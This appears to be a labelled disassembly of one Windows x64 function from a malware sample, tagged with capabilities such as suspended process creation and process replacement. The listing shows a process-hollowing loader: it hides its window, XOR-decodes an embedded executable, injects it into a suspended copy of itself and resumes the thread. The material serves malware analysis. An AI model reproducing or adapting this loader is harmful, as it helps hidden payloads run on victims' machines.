Function at 0x140011311
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Resume thread
Use process replacement

Disassembly:
jmp 0x140011be0
push rbp
push rdi
sub rsp, 0x9f8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x1aa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140020040]
xor rax, rbp
mov qword [rbp + 0x998], rax
lea rcx, [0x14002605c]
call fcn.14001146a
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea r8, [rbp + 4]
lea rdx, [0x14001bd20]
mov ecx, 0x84
call fcn.140011154
mov qword [rbp + 0x28], rax
mov byte [rbp + 0x44], 0x6b
mov eax, dword [rbp + 4]
mov ecx, eax
call fcn.1400111cc
mov qword [rbp + 0x968], rax
mov rax, qword [rbp + 0x968]
mov qword [rbp + 0x68], rax
mov dword [rbp + 0x84], 0
jmp 0x140011c81
mov eax, dword [rbp + 0x84]
inc eax
mov dword [rbp + 0x84], eax
mov eax, dword [rbp + 4]
cmp dword [rbp + 0x84], eax
jae 0x140011caf
mov eax, dword [rbp + 0x84]
mov rcx, qword [rbp + 0x28]
movzx eax, byte [rcx + rax]
movsx ecx, byte [rbp + 0x44]
xor eax, ecx
mov ecx, dword [rbp + 0x84]
mov rdx, qword [rbp + 0x68]
mov byte [rdx + rcx], al
jmp 0x140011c73
mov rax, qword [rbp + 0x68]
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0xa8]
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0xc8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0xa8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
cmp dword [rax], 0x4550
jne 0x140011f99
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0x128]
call fcn.140011375
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x160]
call fcn.140011375
mov r8d, 0x104
lea rdx, [rbp + 0x210]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rbp + 0x128]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x160]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x210]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140011f99
mov r9d, 4
mov r8d, 0x1000
mov edx, 8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov dword [rax + 0x30], 0x10000b
mov rdx, qword [rbp + 0x628]
mov rcx, qword [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140011f99
mov rax, qword [rbp + 0xe8]
mov eax, dword [rax + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
mov rax, qword [rbp + 0xe8]
mov rdx, qword [rax + 0x30]
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp + 0xe8]
mov eax, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rbp + 0xa8]
mov rdx, qword [rbp + 0x1e8]
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rbp + 0x648], 0
jmp 0x140011e61
mov rax, qword [rbp + 0x648]
inc rax
mov qword [rbp + 0x648], rax
mov rax, qword [rbp + 0xe8]
movzx eax, word [rax + 6]
cmp qword [rbp + 0x648], rax
jae 0x140011f40
mov rax, qword [rbp + 0xc8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0xa8]
add rcx, rax
mov rax, rcx
imul rcx, qword [rbp + 0x648], 0x28
lea rax, [rax + rcx + 0x108]
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov eax, dword [rax + 0x10]
mov rcx, qword [rbp + 0x108]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rbp + 0xa8]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rbp + 0x108]
mov edx, dword [rdx + 0xc]
mov r8, qword [rbp + 0x1e8]
add r8, rdx
mov rdx, r8
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [rbp + 0xe8]
add rax, 0x30
mov rcx, qword [rbp + 0x628]
mov rcx, qword [rcx + 0x88]
add rcx, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, rax
mov rdx, rcx
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x140011e50
mov rax, qword [rbp + 0xe8]
mov eax, dword [rax + 0x28]
mov rcx, qword [rbp + 0x1e8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rbp + 0x628]
mov qword [rcx + 0x80], rax
mov rdx, qword [rbp + 0x628]
mov rcx, qword [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor edx, edx
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
jmp 0x140011fb2
mov rax, qword [rbp + 0x68]
mov qword [rbp + 0x988], rax
mov rcx, qword [rbp + 0x988]
call fcn.140011208
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001bcd0]
call fcn.1400113cf
mov rax, rdi
mov rcx, qword [rbp + 0x998]
xor rcx, rbp
call fcn.140011212
lea rsp, [rbp + 0x9a8]
pop rdi
pop rbp
ret